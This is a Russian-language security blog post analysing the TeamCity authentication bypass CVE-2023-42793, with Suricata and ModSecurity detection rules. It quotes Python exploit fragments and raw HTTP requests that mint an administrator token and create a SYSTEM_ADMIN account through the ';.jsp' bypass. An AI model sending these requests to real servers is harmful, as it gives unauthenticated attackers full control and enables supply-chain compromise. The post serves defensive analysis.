Уязвимость в JetBrains TeamCity
Уязвимость в JetBrains TeamCity
Категория: Программы Теги: Уязвимости Опубликовано: 23 сентября 2025

Уязвимость BDU:2023-06415 (CVE-2023-42793) JetBrains TeamCity

Уязвимость BDU:2023-06415 (CVE-2023-42793) обхода аутентификации в сервере непрерывной интеграции и доставки (CI/CD) JetBrains TeamCity On-Premises, позволяющая злоумышленнику получить полный контроль над системой без аутентификации.

Уязвимость, обнаруженная исследователями из Sonar в сентябре 2023 года, затрагивает серверы JetBrains TeamCity версий до 2023.05.4. Атака не требует аутентификации и приводит к полной компрометации сервера, что делает ее чрезвычайно опасной для организаций, использующих этот продукт для автоматизации процессов сборки и развертывания программного обеспечения.

Анализ уязвимости

Уровень опасности: 9.8 (Критический)
Вектор атаки: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

  • Вектор атаки (Attack Vector): Сеть (Network) - уязвимость может быть эксплуатрирована удаленно через сеть.

  • Сложность атаки (Attack Complexity): Низкая (Low) - для эксплуатации не требуются сложные условия.

  • Необходимые привилегии (Privileges Required): Нет (None) - атака не требует каких-либо привилегий.

  • Взаимодействие с пользователем (User Interaction): Нет (None) - атака не требует участия пользователя.

  • Область воздействия (Scope): Не оказывает влияния на другие компоненты (Unchanged).

  • Влияние на конфиденциальность (Confidentiality Impact): Высокое (High) - приводит к полному раскрытию конфиденциальной информации.

  • Влияние на целостность (Integrity Impact): Высокое (High) - позволяет злоумышленнику изменять любые данные.

  • Влияние на доступность (Availability Impact): Высокое (High) - может привести к полному отказу в обслуживании.

Условия эксплуатации

Для успешной эксплуатации уязвимости необходимо соблюдение следующих условий:

  1. Наличие уязвимой версии TeamCity: Сервер TeamCity версии ниже 2023.05.4.

  2. Сетевой доступ: Злоумышленник должен иметь HTTP(S) доступ к порту TeamCity (по умолчанию 8111). Сервер может быть как публично доступен в Интернете, так и находиться во внутренней сети организации.

  3. Доступ к гостевому порталу: Необходима возможность отправки HTTP-запросов к веб-интерфейсу TeamCity.

Технический механизм уязвимости

Основная проблема заключается в том, как класс jetbrains.buildServer.controllers.BaseController (реализованный в библиотеке web-openapi.jar) обрабатывает определенные HTTP-запросы.

Когда запрос обрабатывается методом handleRequestInternal, если запрос не перенаправляется (не возвращает HTTP 302), вызывается метод updateViewIfRequestHasJspParameter.

Критический метод getJspFromRequest извлекает значение параметра jsp из запроса и проверяет, что оно заканчивается на .jsp и не содержит путь /admin/.

Злоумышленник может обойти аутентификацию, создав специальный URL, который заставляет сервер обрабатывать запрос к защищенному endpoint'у как неаутентифицированный. Например:
http://teamcity-server:8111/hax?jsp=/app/rest/server;.jsp

Анализ кода эксплоита

Рассмотрим ключевые компоненты Python-эксплойта, чтобы понять техническую реализацию атаки.

Инициализация и получение токена

Эксплойт начинается с попытки создать токен для пользователя с ID=1 (администратор по умолчанию) через endpoint /app/rest/users/id:1/tokens/RPC2:

get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
response = requests.post(get_token_url, verify=False)

if response.status_code == 200:
    match = re.search(r'value="([^"]+)"', response.text)
    if match:
        token = match.group(1)
        print(f"Token: {token}")

Если токен уже существует (статус 404 или 400), эксплойт сначала удаляет его, а затем создает заново:

elif response.status_code == 404:
    print("Token already exists")
    delete_command = f'{curl_command} -X DELETE {delete_token_url}'
    delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    delete_process.wait()

Создание административного пользователя

После получения токена эксплойт использует его для создания нового пользователя с ролью SYSTEM_ADMIN:

headers = {
    "Authorization": f"Bearer {token}",
    "Content-Type": "application/json"
}

data = {
    "username": username,
    "password": "Main_password!!**",
    "email": "angry-admin@funnybunny.org",
    "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
}

create_user_response = requests.post(create_user_url, headers=headers, json=data)

Вредоносный HTTP-запрос

На практике атака выглядит как последовательность HTTP-запросов. Пример обхода аутентификации для доступа к endpoint /app/rest/server, который обычно требует аутентификации:

GET /hax?jsp=/app/rest/server;.jsp HTTP/1.1
Host: teamcity-server:8111
User-Agent: Mozilla/5.0
Accept: */*

Сервер возвращает информацию о версии, что подтверждает успешный обход аутентификации:

HTTP/1.1 200 OK
TeamCity-Node-Id: MAIN_SERVER
Content-Type: application/xml;charset=ISO-8859-1
Content-Length: 794

<server version="2023.05.3...">

Создание административного пользователя через API:

POST /hax?jsp=/app/rest/users;.jsp HTTP/1.1
Host: teamcity-server:8111
Content-Type: application/json
Content-Length: 145

{
  "username": "malicious_user",
  "password": "malicious_password",
  "email": "attacker@example.com",
  "roles": {
    "role": [{
      "roleId": "SYSTEM_ADMIN",
      "scope": "g"
    }]
  }
}

Возможности злоумышленника после эксплуатации

После успешной эксплуатации уязвимости злоумышленник получает возможности, эквивалентные правам системного администратора TeamCity:

  1. Удаленное выполнение кода (RCE): Полный контроль над сервером TeamCity через выполнение произвольных команд операционной системы.

  2. Компрометация цепочки поставок (Supply Chain Attack): Возможность модифицировать процессы сборки, внедряя бэкдоры в сборки, которые затем распространяются среди клиентов.

  3. Кража интеллектуальной собственности: Доступ к исходному коду проектов, учетным данным, секретам и конфиденциальным данным сборок.

  4. Постоянное присутствие: Создание учетных записей с административными привилегиями для поддержания доступа даже после устранения уязвимости.

  5. Боковое перемещение: Использование скомпрометированного сервера TeamCity как плацдарма для атак на другие системы в корпоративной сети.

Методы защиты

Основные меры защиты

  1. Немедленное обновление: Установка TeamCity версии 2023.05.4 или новее. Для более старых версий (начиная с 8.0+) JetBrains предоставила патч-плагин.

  2. Сегментация сети: Ограничение доступа к порту TeamCity (по умолчанию 8111) только для доверенных IP-адресов с использованием брандмауэров.

  3. Регулярный аудит: Проверка журналов аутентификации TeamCity (teamcity-auth.log) и системных логов на предмет подозрительной активности.

Настройка WAF/IPS правил

Для обнаружения и блокирования попыток эксплуатации BDU:2023-06415 (CVE-2023-42793) можно использовать следующие правила.

Правило для Suricata

alert http any any -> $HOME_NET 8111 (msg:"CVE-2023-42793 TeamCity Auth Bypass Attempt"; flow:established,to_server; http.uri; content:"jsp="; pcre:"/\/[^\/]+\?jsp=\/(app\/rest|admin)[^&]*\.jsp/i"; classtype:web-application-attack; sid:100042793; rev:1; metadata:cve CVE-2023-42793;)

Данное правило входит в мой набор правил https://alekseycheremnykh.ru/post/besplatnye-pravila-dlya-ids-suricata/

Правило для ModSecurity

SecRule REQUEST_URI "@contains jsp=" \
    "id:100042793,\
    phase:2,\
    block,\
    msg:'CVE-2023-42793 TeamCity Authentication Bypass Attempt',\
    logdata:'Matched %{MATCHED_VAR}',\
    tag:'application-multi',\
    tag:'language-multi',\
    tag:'platform-windows',\
    tag:'attack-authentication',\
    tag:'cve/CVE-2023-42793',\
    ver:'OWASP_CRS/3.4.0',\
    severity:'CRITICAL'"

Размещение WAF/IPS: Система защиты должна находиться на границе сети, перед сервером TeamCity, чтобы фильтровать входящий трафик. Если TeamCity доступен из Интернета, WAF следует разместить в DMZ. Для внутренних развертываний WAF/IPS можно разместить на внутреннем сетевом шлюзе.

Алексей Черемных Алексей Черемных
327